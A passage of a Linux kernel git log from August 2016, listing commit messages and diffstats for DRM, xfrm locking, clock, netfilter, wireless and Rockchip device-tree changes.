Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470847958-28465-3-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/amd/amdgpu/amdgpu_fb.c | 1 - drivers/gpu/drm/amd/powerplay/hwmgr/fiji_hwmgr.c | 1 - drivers/gpu/drm/amd/powerplay/hwmgr/polaris10_hwmgr.c | 1 - drivers/gpu/drm/amd/powerplay/hwmgr/ppatomctrl.c | 1 - drivers/gpu/drm/amd/powerplay/hwmgr/tonga_hwmgr.c | 1 - drivers/gpu/drm/amd/powerplay/hwmgr/tonga_processpptables.c | 1 - drivers/gpu/drm/armada/armada_fbdev.c | 1 - drivers/gpu/drm/ast/ast_fb.c | 1 - drivers/gpu/drm/bochs/bochs.h | 1 - drivers/gpu/drm/bridge/parade-ps8622.c | 1 - drivers/gpu/drm/cirrus/cirrus_fbdev.c | 2 -- drivers/gpu/drm/drm_fb_helper.c | 1 - drivers/gpu/drm/gma500/accel_2d.c | 1 - drivers/gpu/drm/gma500/framebuffer.c | 1 - drivers/gpu/drm/gma500/psb_intel_modes.c | 1 - drivers/gpu/drm/i915/intel_fbdev.c | 1 - drivers/gpu/drm/i915/intel_modes.c | 1 - drivers/gpu/drm/imx/imx-drm-core.c | 1 - drivers/gpu/drm/imx/ipuv3-crtc.c | 1 - drivers/gpu/drm/mgag200/mgag200_fb.c | 2 -- drivers/gpu/drm/nouveau/nouveau_fbcon.c | 1 - drivers/gpu/drm/omapdrm/displays/panel-dsi-cm.c | 1 - drivers/gpu/drm/omapdrm/displays/panel-nec-nl8048hl11.c | 1 - drivers/gpu/drm/omapdrm/displays/panel-sony-acx565akm.c | 1 - drivers/gpu/drm/qxl/qxl_fb.c | 1 - drivers/gpu/drm/radeon/radeon_fb.c | 1 - 26 files changed, 28 deletions(-) commit 44adece57e2604cec8527a499b48e4d584ab53b8 Author: Daniel Vetter Date: Wed Aug 10 18:52:34 2016 +0200 drm/fb-helper: Add a dummy remove_conflicting_framebuffers Lots of drivers don't properly compile without this when CONFIG_FB=n. It's kinda a hack, but since CONFIG_FB doesn't stub any fucntions when it's disabled I think it makes sense to add it to drm_fb_helper.h. Long term we probably need to rethink all the logic to unload firmware framebuffer drivers, at least if we want to be able to move away from CONFIG_FB and fbcon. v2: Unfortunately just stubbing out remove_conflicting_framebuffers in drm_fb_helper.h upset gcc about static vs. non-static declarations, so a new wrapper it needs to be. Means more churn :( Cc: Tobias Jakobi Cc: Noralf Trønnes Cc: tomi.valkeinen@ti.com Cc: dh.herrmann@gmail.com Reviewed-by: Alex Deucher Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470847958-28465-2-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 2 +- drivers/gpu/drm/bochs/bochs_drv.c | 3 ++- drivers/gpu/drm/cirrus/cirrus_drv.c | 2 +- drivers/gpu/drm/i915/i915_drv.c | 2 +- drivers/gpu/drm/mgag200/mgag200_drv.c | 2 +- drivers/gpu/drm/mgag200/mgag200_main.c | 2 +- drivers/gpu/drm/nouveau/nouveau_drm.c | 2 +- drivers/gpu/drm/radeon/radeon_drv.c | 3 ++- drivers/gpu/drm/sun4i/sun4i_drv.c | 3 ++- drivers/gpu/drm/vc4/vc4_drv.c | 3 ++- drivers/gpu/drm/virtio/virtgpu_drm_bus.c | 3 ++- include/drm/drm_fb_helper.h | 14 ++++++++++++++ 12 files changed, 30 insertions(+), 11 deletions(-) commit e8cb0fe6e7cc9b02bd97eae6efa8fe927fbfc905 Author: SeongJae Park Date: Thu Aug 11 11:17:43 2016 -0700 locking/Documentation: Add Korean translation This commit adds Korean version of memory-barriers.txt document. The header is referred to HOWTO Korean version. The translation has started from Feb, 2016 and using a public git repository[1] to maintain the work. It's commit history says that it is following upstream changes as well. [1] https://github.com/sjp38/linux.doc_trans_membarrier Signed-off-by: SeongJae Park Signed-off-by: Paul E. McKenney Reviewed-by: Byungchul Park Acked-by: David Howells Acked-by: Minchan Kim Acked-by: Jonathan Corbet Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-arch@vger.kernel.org Cc: will.deacon@arm.com Link: http://lkml.kernel.org/r/1470939463-31950-4-git-send-email-paulmck@linux.vnet.ibm.com Signed-off-by: Ingo Molnar Documentation/ko_KR/memory-barriers.txt | 3135 +++++++++++++++++++++++++++++++ 1 file changed, 3135 insertions(+) commit 8b9e771555745a029557a0a481e760fb84376a35 Author: SeongJae Park Date: Thu Aug 11 11:17:42 2016 -0700 locking/Documentation: Fix a typo of example result An example result for data dependent write has a typo. This commit fixes the wrong typo. Signed-off-by: SeongJae Park Signed-off-by: Paul E. McKenney Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: dhowells@redhat.com Cc: linux-arch@vger.kernel.org Cc: will.deacon@arm.com Link: http://lkml.kernel.org/r/1470939463-31950-3-git-send-email-paulmck@linux.vnet.ibm.com Signed-off-by: Ingo Molnar Documentation/memory-barriers.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d7cab36db83be458e8987ae352902958977e7925 Author: SeongJae Park Date: Thu Aug 11 11:17:41 2016 -0700 locking/Documentation: Fix wrong section reference Signed-off-by: SeongJae Park Signed-off-by: Paul E. McKenney Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: dhowells@redhat.com Cc: linux-arch@vger.kernel.org Cc: will.deacon@arm.com Link: http://lkml.kernel.org/r/1470939463-31950-2-git-send-email-paulmck@linux.vnet.ibm.com Signed-off-by: Ingo Molnar Documentation/memory-barriers.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit dfeccea61716d3ca1bf3477610d1f29abf6d99ca Author: SeongJae Park Date: Thu Aug 11 11:17:40 2016 -0700 locking/Documentation: Maintain consistent blank line Signed-off-by: SeongJae Park Signed-off-by: Paul E. McKenney Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: dhowells@redhat.com Cc: linux-arch@vger.kernel.org Cc: will.deacon@arm.com Link: http://lkml.kernel.org/r/1470939463-31950-1-git-send-email-paulmck@linux.vnet.ibm.com Signed-off-by: Ingo Molnar Documentation/memory-barriers.txt | 1 + 1 file changed, 1 insertion(+) commit 9a7e858c527003393d16ece0eb630d780df9a4d4 Author: Borislav Petkov Date: Fri Aug 12 07:22:17 2016 +0200 ARM: s3c2410_defconfig: Remove CONFIG_IPV6_PRIVACY Option is long gone, see 5d9efa7ee99e ("ipv6: Remove privacy config option.") Signed-off-by: Borislav Petkov Signed-off-by: Krzysztof Kozlowski arch/arm/configs/s3c2410_defconfig | 1 - 1 file changed, 1 deletion(-) commit 9d0380df6217e8dd014118fa1c99dda9974f3613 Author: Florian Westphal Date: Thu Aug 11 15:17:59 2016 +0200 xfrm: policy: convert policy_lock to spinlock After earlier patches conversions all spots acquire the writer lock and we can now convert this to a normal spinlock. Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert include/net/netns/xfrm.h | 2 +- net/xfrm/xfrm_policy.c | 68 ++++++++++++++++++++++++------------------------ 2 files changed, 35 insertions(+), 35 deletions(-) commit d5b8f86dc7200d16e48bb3a6aaac29c0cdf621c9 Author: Florian Westphal Date: Thu Aug 11 15:17:58 2016 +0200 xfrm: policy: don't acquire policy lock in xfrm_spd_getinfo It doesn't seem that important. We now get inconsistent view of the counters, but those are stale anyway right after we drop the lock. Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert net/xfrm/xfrm_policy.c | 2 -- 1 file changed, 2 deletions(-) commit ae33786f73a7ce5b15ce29e8f342e43606385cef Author: Florian Westphal Date: Thu Aug 11 15:17:57 2016 +0200 xfrm: policy: only use rcu in xfrm_sk_policy_lookup Don't acquire the readlock anymore and rely on rcu alone. In case writer on other CPU changed policy at the wrong moment (after we obtained sk policy pointer but before we could obtain the reference) just repeat the lookup. Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert net/xfrm/xfrm_policy.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit a7c44247f704e385c77579d65c6ee6d002832529 Author: Florian Westphal Date: Thu Aug 11 15:17:56 2016 +0200 xfrm: policy: make xfrm_policy_lookup_bytype lockless side effect: no longer disables BH (should be fine). Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert include/net/netns/xfrm.h | 2 +- net/xfrm/xfrm_policy.c | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) commit e37cc8ade5afaf082f804c6d18eb23377146bec4 Author: Florian Westphal Date: Thu Aug 11 15:17:55 2016 +0200 xfrm: policy: use atomic_inc_not_zero in rcu section If we don't hold the policy lock anymore the refcnt might already be 0, i.e. policy struct is about to be free'd. Switch to atomic_inc_not_zero to avoid this. On removal policies are already unlinked from the tables (lists) before the last _put occurs so we are not supposed to find the same 'dead' entry on the next loop, so its safe to just repeat the lookup. Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert net/xfrm/xfrm_policy.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 30846090a746edfdb230deadd638cfa96f7b8c91 Author: Florian Westphal Date: Thu Aug 11 15:17:54 2016 +0200 xfrm: policy: add sequence count to sync with hash resize Once xfrm_policy_lookup_bytype doesn't grab xfrm_policy_lock anymore its possible for a hash resize to occur in parallel. Use sequence counter to block lookup in case a resize is in progress and to also re-lookup in case hash table was altered in the mean time (might cause use to not find the best-match). Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert net/xfrm/xfrm_policy.c | 21 +++++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) commit e1e551bc56302b80ff930c966f9985095fb1b70d Author: Florian Westphal Date: Thu Aug 11 15:17:53 2016 +0200 xfrm: policy: prepare policy_bydst hash for rcu lookups Since commit 56f047305dd4b6b617 ("xfrm: add rcu grace period in xfrm_policy_destroy()") xfrm policy objects are already free'd via rcu. In order to make more places lockless (i.e. use rcu_read_lock instead of grabbing read-side of policy rwlock) we only need to: - use rcu_assign_pointer to store address of new hash table backend memory - add rcu barrier so that freeing of old memory is delayed (expansion and free happens from system workqueue, so synchronize_rcu is fine) - use rcu_dereference to fetch current address of the hash table. Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert net/xfrm/xfrm_policy.c | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) commit a5eefc1df641f3c99fe54b309e7b79c18cec4a1e Author: Florian Westphal Date: Thu Aug 11 15:17:52 2016 +0200 xfrm: policy: use rcu versions for iteration and list add/del This is required once we allow lockless readers. Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert net/xfrm/xfrm_policy.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 1fd92dbaabe3096ded391eed2e8dd74afe02d0d2 Author: Fabio Estevam Date: Fri Jul 15 10:53:02 2016 -0300 clk: imx7d: do not set the parent of IMX7D_ENET_AXI_ROOT_SRC Booting the kernel on a imx7s-warp leads to several warnings like these: [ 0.000000] ------------[ cut here ]------------ [ 0.000000] WARNING: CPU: 0 PID: 0 at kernel/locking/lockdep.c:3536 lock_release+0x2f8/0x330 [ 0.000000] releasing a pinned lock [ 0.000000] ------------[ cut here ]------------ [ 0.000000] WARNING: CPU: 0 PID: 0 at kernel/locking/lockdep.c:2722 trace_hardirqs_on_caller+0x1ac/0x1f4 [ 0.000000] DEBUG_LOCKS_WARN_ON(unlikely(early_boot_irqs_disabled)) [ 0.000000] ---[ end trace cb88537fdc8fa201 ]--- [ 0.000000] bad: scheduling from the idle thread! [ 0.000000] CPU: 0 PID: 0 Comm: swapper/0 Tainted: G W 4.7.0-rc7-next-20160715 #404 [ 0.000000] ------------[ cut here ]------------ [ 0.000000] WARNING: CPU: 0 PID: 0 at kernel/time/sched_clock.c:179 sched_clock_register+0x44/0x1f8 [ 0.000000] Modules linked in: [ 0.000591] ------------[ cut here ]------------ [ 0.000610] WARNING: CPU: 0 PID: 0 at kernel/time/sched_clock.c:179 sched_clock_register+0x44/0x1f8 [ 0.002084] ------------[ cut here ]------------ [ 0.002104] WARNING: CPU: 0 PID: 0 at init/main.c:576 start_kernel+0x258/0x3b0 [ 0.002114] Interrupts were enabled early This fix is along the same lines as 5e33ebff7edd ("clk: imx7d: do not set parent of ethernet time/ref clocks") and the explanation from that commit is: "The reason for the warning is that setting the parent enables the ENET PLL since we are using CLK_OPS_PARENT_ENABLE. Enabling the ENET PLL can cause clk_pllv3_wait_lock to sleep. See also: commit fc8726a2c021 ("clk: core: support clocks which requires parents enable (part 2)")." imx7s-warp does not even use the FEC interface, so we should not really configure the parent of IMX7D_ENET_AXI_ROOT_SRC in the common MX7 clock driver code. The dts file should use the assigned-clocks/assigned-clock-parents method, so simply remove the configuration of IMX7D_ENET_AXI_ROOT_SRC parent. Signed-off-by: Fabio Estevam Signed-off-by: Stephen Boyd drivers/clk/imx/clk-imx7d.c | 2 -- 1 file changed, 2 deletions(-) commit 22d61acffbbe344464b8d56d822c4fe86360e599 Author: Stephen Boyd Date: Wed Aug 10 15:32:53 2016 -0700 MAINTAINERS: Add linux-clk patchwork URL The common clk framework has a patchwork associated with it. Update the maintainers file to reflect this. Cc: Michael Turquette Signed-off-by: Stephen Boyd MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit 904e6ead02dcb409cb6eb5ec1c31dc2c7c28b5df Author: Michael Turquette Date: Fri Jul 8 16:32:10 2016 -0700 clk: migrate ref counts when orphans are reunited It's always nice to see families reunited, and this is equally true when talking about parent clocks and their children. However, if the orphan clk had a positive prepare_count or enable_count, then we would not migrate those counts up the parent chain correctly. This has manifested with the recent critical clocks feature, which often enables clocks very early, before their parents have been registered. Fixed by replacing the call to clk_core_reparent with calls to __clk_set_parent_{before,after}. Cc: James Liao Cc: Erin Lo Signed-off-by: Michael Turquette [sboyd@codeaurora.org: Recalc accuracies and rates too] Signed-off-by: Stephen Boyd drivers/clk/clk.c | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) commit af48d7bc3756a0cd882d65bff14ab39746ba57fe Author: Christophe Jaillet Date: Thu Aug 11 15:02:30 2016 +0200 ARM: cpuidle: Fix error return code We know that 'ret = 0' because it has been tested a few lines above. So, if 'kzalloc' fails, 0 will be returned instead of an error code. Return -ENOMEM instead. Fixes: a0d46a3dfdc3 ("ARM: cpuidle: Register per cpuidle device") Signed-off-by: Christophe Jaillet Acked-by: Lorenzo Pieralisi Cc: 4.1+ # 4.1+ Signed-off-by: Rafael J. Wysocki drivers/cpuidle/cpuidle-arm.c | 1 + 1 file changed, 1 insertion(+) commit 8b0510b52478a4ede8a7537da7faa66242bd0ae4 Author: Jon Hunter Date: Thu Aug 11 11:40:05 2016 +0100 PM / Domains: Always enable debugfs support if available Debugfs support for PM domains is only enabled if both CONFIG_PM_DEBUG and CONFIG_PM_ADVANCED_DEBUG are enabled. CONFIG_PM_ADVANCED_DEBUG is described as "extra PM attributes in sysfs for low-level debugging/testing" which does not seem related. Given that the debugfs for PM domains only allows users to view the state of the PM domains, always enable debugfs support for PM domains if PM domains and debugfs support is enabled. Signed-off-by: Jon Hunter Acked-by: Geert Uytterhoeven Signed-off-by: Rafael J. Wysocki drivers/base/power/domain.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0ed6389c483dc77cdbdd48de0ca7ce41723dd667 Author: Pablo Neira Ayuso Date: Tue Aug 9 16:11:46 2016 +0200 netfilter: nf_tables: rename set implementations Use nft_set_* prefix for backend set implementations, thus we can use nft_hash for the new hash expression. Signed-off-by: Pablo Neira Ayuso net/netfilter/Kconfig | 4 +- net/netfilter/Makefile | 4 +- net/netfilter/nft_hash.c | 395 ----------------------------------------- net/netfilter/nft_rbtree.c | 314 -------------------------------- net/netfilter/nft_set_hash.c | 395 +++++++++++++++++++++++++++++++++++++++++ net/netfilter/nft_set_rbtree.c | 314 ++++++++++++++++++++++++++++++++ 6 files changed, 713 insertions(+), 713 deletions(-) commit a6c46d9bc9d8ca6e30e681aadd30b73c44434b7d Author: Florian Westphal Date: Wed Aug 3 15:21:28 2016 +0200 ipvs: use nf_ct_kill helper Once timer is removed from nf_conn struct we cannot open-code the removal sequence anymore. Signed-off-by: Florian Westphal Acked-by: Julian Anastasov Signed-off-by: Pablo Neira Ayuso net/netfilter/ipvs/ip_vs_nfct.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit d0b35b93d45cedf1dc561aba4027441b3d28d290 Author: Florian Westphal Date: Wed Aug 3 02:45:07 2016 +0200 netfilter: use_nf_conn_expires helper in more places ... so we don't need to touch all of these places when we get rid of the timer in nf_conn. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso net/ipv4/netfilter/nf_conntrack_l3proto_ipv4_compat.c | 3 +-- net/netfilter/nf_conntrack_netlink.c | 5 +---- net/netfilter/nf_conntrack_standalone.c | 3 +-- net/netfilter/xt_conntrack.c | 4 +--- 4 files changed, 4 insertions(+), 11 deletions(-) commit 9f7c824a44c9f03a5ee9b6291b0685cbdb89ae58 Author: Liping Zhang Date: Sat Jul 30 19:44:12 2016 +0800 netfilter: nf_dup4: remove redundant checksum recalculation IP header checksum will be recalculated at ip_local_out, so there's no need to calculated it here, remove it. Also update code comments to illustrate it, and delete the misleading comments about checksum recalculation. Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/ipv4/netfilter/nf_dup_ipv4.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit ceee4091d622790a7a06e5b202670ef9fdfe8c79 Author: Hangbin Liu Date: Mon Jul 25 15:24:43 2016 +0800 netfilter: physdev: add missed blank Signed-off-by: Hangbin Liu Signed-off-by: Pablo Neira Ayuso net/netfilter/xt_physdev.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e5e693ab49a95e1994979972eea224eefa81eba9 Author: Gao Feng Date: Sat Jul 23 19:21:47 2016 +0800 netfilter: conntrack: Only need first 4 bytes to get l4proto ports We only need first 4 bytes instead of 8 bytes to get the ports of tcp/udp/dccp/sctp/udplite in their pkt_to_tuple function. Signed-off-by: Gao Feng Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_proto_dccp.c | 3 ++- net/netfilter/nf_conntrack_proto_sctp.c | 4 ++-- net/netfilter/nf_conntrack_proto_tcp.c | 4 ++-- net/netfilter/nf_conntrack_proto_udp.c | 4 ++-- net/netfilter/nf_conntrack_proto_udplite.c | 3 ++- 5 files changed, 10 insertions(+), 8 deletions(-) commit 54479449c801e46ee2b6ba08e2f19cd810f74f94 Author: Chris Zhong Date: Tue Aug 9 11:02:33 2016 -0700 clk: rockchip: mark rk3399 hdcp_noc and vio_noc as critical The aclk_vio_noc should be put into critical list, as the interconnect is not handled right now, but is required by VOP. And the Type-C DP need these clocks: aclk_hdcp_noc, hclk_hdcp_noc, pclk_hdcp_noc. Mark them as critical to avoid someone close them. Signed-off-by: Chris Zhong Reviewed-by: Guenter Roeck Signed-off-by: Heiko Stuebner drivers/clk/rockchip/clk-rk3399.c | 4 ++++ 1 file changed, 4 insertions(+) commit 289ef679086cf0389173a3c08174df2cacc536f3 Author: Wolfram Sang Date: Thu Aug 11 22:40:11 2016 +0200 ALSA: usb: caiaq: audio: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Takashi Iwai sound/usb/caiaq/audio.c | 1 - 1 file changed, 1 deletion(-) commit 003f50ab673c241a5596c05c88fd25ba71db086d Author: Jason Gerecke Date: Thu Jul 21 09:10:46 2016 -0700 HID: wacom: Update last_slot_field during pre_report phase If a touchscreen contains both multitouch and single-touch reports in its descriptor in that order, the driver may overwrite information it saved about the format of the multitouch report. This can cause the report processing code to get tripped up and send an incorrect event stream to userspace. In particular, this can cause last_slot_field to be overwritten with the result that the driver prematurely assumes it has finished processing a slot and sending the ABS_MT_SLOT event at the wrong point in time, associating events for the current contact with the following contact instead. To prevent this from occurring, we update the value of last_slot_field durring the pre_report phase to ensure that it is correct for the report that is to be processed. Signed-off-by: Jason Gerecke Reviewed-by: Ping Cheng Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/wacom_wac.c | 62 +++++++++++++++++++++---------------------------- drivers/hid/wacom_wac.h | 2 +- 2 files changed, 27 insertions(+), 37 deletions(-) commit b60ab70bbeced9a780ba297ffc555bc3a8ae6045 Author: Andy Yan Date: Wed Jul 6 21:28:34 2016 +0800 ARM: dts: rockchip: add syscon-reboot-mode DT node Rockchip platform use a SYSCON mapped register store the reboot mode magic value for bootloader to use when system reboot. So add syscon-reboot-mode driver DT node for rk3xxx/rk3036/rk3288 based platform Signed-off-by: Andy Yan Reviewed-by: Matthias Brugger Signed-off-by: Heiko Stuebner arch/arm/boot/dts/rk3036.dtsi | 12 +++++++++++- arch/arm/boot/dts/rk3288.dtsi | 10 ++++++++++ arch/arm/boot/dts/rk3xxx.dtsi | 12 +++++++++++- 3 files changed, 32 insertions(+), 2 deletions(-) commit 2e9e2863c7bee8ef828924cb0cad900776cb6d08 Author: Andy Yan Date: Wed Jul 6 21:28:49 2016 +0800 arm64: dts: rockchip: add syscon-reboot-mode DT node Add syscon-reboot-mode driver DT node for rk3368 platform Signed-off-by: Andy Yan Tested-by: Caesar Wang Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3368.dtsi | 10 ++++++++++ 1 file changed, 10 insertions(+) commit d6aa084242f1cbc66c454fc6a30ef1db8a5e5383 Merge: e7b47ca 18a21e2 Author: Heiko Stuebner Date: Thu Aug 11 20:03:40 2016 +0200 Merge branch 'v4.9-shared/soc-hdr' into v4.9-armsoc/dts64 commit ff9a71afc948f609c4eaba47cd6788926e7cc105 Author: Johannes Berg Date: Thu Aug 11 14:59:53 2016 +0200 nl80211: explicitly check enum nl80211_mesh_power_mode Different gcc versions appear to be treating enum with different signedness, causing warnings with the out parameter one way or the other. Just use the correct type to avoid all that. Signed-off-by: Johannes Berg net/wireless/nl80211.c | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) commit 4fdbc67a25ce577b79b3af595e874e9ef921329f Author: Maxim Altshul Date: Thu Aug 11 13:38:16 2016 +0300 mac80211: call get_expected_throughput only after adding station Depending on which method the driver implements, userspace could call this (indirectly, by getting station info) before the driver knows about the station, possibly causing it to misbehave. Therefore, add a check for sta->uploaded which indicates that the driver knows about the station. Signed-off-by: Maxim Altshul [reword commit message] Signed-off-by: Johannes Berg net/mac80211/driver-ops.h | 8 ++++---- net/mac80211/sta_info.c | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) commit 12d20fc9186a742d40e824f575df5aa62be31d69 Author: Purushottam Kushwaha Date: Thu Aug 11 15:14:02 2016 +0530 cfg80211: identically validate beacon interval for AP/MESH/IBSS Beacon interval interface combinations validation was missing for MESH/IBSS join, add those. Johannes: also move the beacon interval check disallowing really tiny and really big intervals into the common function, which adds it for AP mode. Signed-off-by: Purushottam Kushwaha Signed-off-by: Johannes Berg net/wireless/nl80211.c | 16 +++++++++------- net/wireless/util.c | 2 +- 2 files changed, 10 insertions(+), 8 deletions(-) commit a148a05512b62b1d4beb35a76733017f018ba20a Merge: 546a352 18a21e2 Author: Heiko Stuebner Date: Thu Aug 11 19:57:48 2016 +0200 Merge branch 'v4.9-shared/soc-hdr' into v4.9-armsoc/dts32 commit 18a21e2c079a01805607bb474b3536a99620d162 Author: Andy Yan Date: Wed Jul 6 21:28:34 2016 +0800 soc: rockchip: add reboot-mode header Rockchip platform use a SYSCON mapped register store the reboot mode magic value for bootloader to use when system reboot. Add the shared header describing the values firmware expects for different boot modes. Signed-off-by: Andy Yan Reviewed-by: Matthias Brugger Signed-off-by: Heiko Stuebner include/dt-bindings/soc/rockchip,boot-mode.h | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit a67823c1ed1092160da94c31e6da5aeb35dca81c Author: Roman Pen Date: Thu Aug 11 19:27:09 2016 +0200 percpu-refcount: init ->confirm_switch member properly This patch targets two things which are related to ->confirm_switch: 1. Init ->confirm_switch pointer with NULL on percpu_ref_init() or kernel frightfully complains with WARN_ON_ONCE(ref->confirm_switch) at __percpu_ref_switch_to_atomic if memory chunk was not properly zeroed. 2. Warn if RCU callback is still in progress on percpu_ref_exit(). The race still exists, because percpu_ref_call_confirm_rcu() drops ->confirm_switch to NULL early, but that is only a warning and still the caller is responsible that ref is no longer in active use. Hopefully that can help to catch incorrect usage of percpu-refcount. Signed-off-by: Roman Pen Cc: Tejun Heo Cc: linux-kernel@vger.kernel.org Signed-off-by: Tejun Heo lib/percpu-refcount.c | 3 +++ 1 file changed, 3 insertions(+) commit cd27396e6103a43c3df76f70db1feafa16206471 Author: Christoph Hellwig Date: Thu Aug 11 07:26:02 2016 -0700 ahci: also use a per-port lock for the multi-MSIX case Signed-off-by: Christoph Hellwig Signed-off-by: Tejun Heo drivers/ata/libahci.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8d970654b767ebe8aeb524d30e27b37c0cb8eaed Author: Ville Syrjälä Date: Thu Jan 28 16:30:28 2016 +0200 drm/i915: Deal with NV12 CbCr plane AUX surface on SKL+ With NV12 we have two color planes to deal with so we must compute the surface and x/y offsets for the second plane as well. What makes this a bit nasty is that the hardware expects the surface offset to be specified as a distance from the main surface offset. What's worse, the distance must be non-negative (no neat wraparound or anything). So we must make sure that the main surface offset is always less or equal to the AUX surface offset. We do that by computing the AUX offset first and the main surface offset second. If the main surface offset ends up being above the AUX offset, we just push it down as far as is required while still maintaining the required alignment etc. Fortunately the AUX offset only reuqires 4K alignment, so we don't need to do any of the backwards searching for an acceptable offset that we must do for the main surface. And X tiled + NV12 isn't a supported combination anyway. Note that this just computes aux surface offsets, we do not yet program them into the actual hardware registers, and hence we can't yet expose NV12. v2: Rebase due to drm_plane_state src/dst rects s/TODO.../something else/ in the commit message/ (Daniel) Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470821001-25272-12-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_display.c | 62 ++++++++++++++++++++++++++++++++++-- drivers/gpu/drm/i915/intel_drv.h | 4 +++ 2 files changed, 64 insertions(+), 2 deletions(-) commit b63a16f6cd8911e74816a307f8078e29564eadc0 Author: Ville Syrjälä Date: Thu Jan 28 16:53:54 2016 +0200 drm/i915: Compute display surface offset in the plane check hook for SKL+ SKL has nasty limitations with the display surface offsets: * source x offset + width must be less than the stride for X tiled surfaces or the display engine falls over * the surface offset requires lots of alignment (256K or 1M) These facts mean that we can't just pick any suitably aligned tile boundary as the offset and expect the resulting x offset to be useable. The solution is to start with the closest boundary as before, but then keep searching backwards until we find one that works, or don't. This means we must be prepared to fail, hence the whole surface offset calculation needs to be moved to the .check_plane() hook from the .update_plane() hook. While at it we can check that the source width/height don't exceed maximum plane size limits. We'll store the results of the computation in the plane state to make it easy for the .update_plane() hook to do its thing. v2: Replace for+break loop with while loop Rebase due to drm_plane_state src/dst rects Rebase due to plane_check_state() Signed-off-by: Ville Syrjälä Reviewed-by: Sivakumar Thulasimani Link: http://patchwork.freedesktop.org/patch/msgid/1470821001-25272-11-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_display.c | 166 ++++++++++++++++++++++++++++------- drivers/gpu/drm/i915/intel_drv.h | 6 ++ drivers/gpu/drm/i915/intel_sprite.c | 33 +++---- 3 files changed, 152 insertions(+), 53 deletions(-) commit 66a2d927cb0eb6767529454316ac36511cdffdac Author: Ville Syrjälä Date: Fri Feb 5 18:44:05 2016 +0200 drm/i915: Make intel_adjust_tile_offset() work for linear buffers To make life less surprising we can make intel_adjust_tile_offset() deal with linear buffers as well. Currently it doesn't seem like there's a real need for this since only X tiling and NV12 (which would always be tiled currently) should need it. But I've used it for some debug hacks already so seems like a reasonable thing to have. Signed-off-by: Ville Syrjälä Reviewed-by: Sivakumar Thulasimani Link: http://patchwork.freedesktop.org/patch/msgid/1470821001-25272-10-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_display.c | 73 ++++++++++++++++++++++++++++-------- 1 file changed, 57 insertions(+), 16 deletions(-) commit b9b2403845f11cae20af5f6b5fd5cf7c6c9346ab Author: Ville Syrjälä Date: Mon Feb 8 18:28:00 2016 +0200 drm/i915: Allow calling intel_adjust_tile_offset() multiple times Minimize the resulting X coordinate after intel_adjust_tile_offset() is done with it's offset adjustment. This allows calling intel_adjust_tile_offset() multiple times in case we need to adjust the offset several times. Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470821001-25272-9-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Chris Wilson Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_display.c | 5 +++++ 1 file changed, 5 insertions(+) commit 60d5f2a45b5f714ad9a421d2f22c15e7beaef979 Author: Ville Syrjälä Date: Fri Jan 22 18:41:24 2016 +0200 drm/i915: Limit fb x offset due to fences If there's a fence on the object it will be aligned to the start of the object, and hence CPU rendering to any fb that straddles the fence edge will come out wrong due to lines wrapping at the wrong place. We have no API to manage fences on a sub-object level, so we can't really fix this in any way. Additonally gen2/3 fences are rather coarse grained so adjusting the offset migth not even be possible. Avoid these problems by requiring the fb layout to agree with the fence layout (if present). v2: Rebase due to i915_gem_object_get_tiling() & co. Signed-off-by: Ville Syrjälä Reviewed-by: Sivakumar Thulasimani Link: http://patchwork.freedesktop.org/patch/msgid/1470821001-25272-8-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_display.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 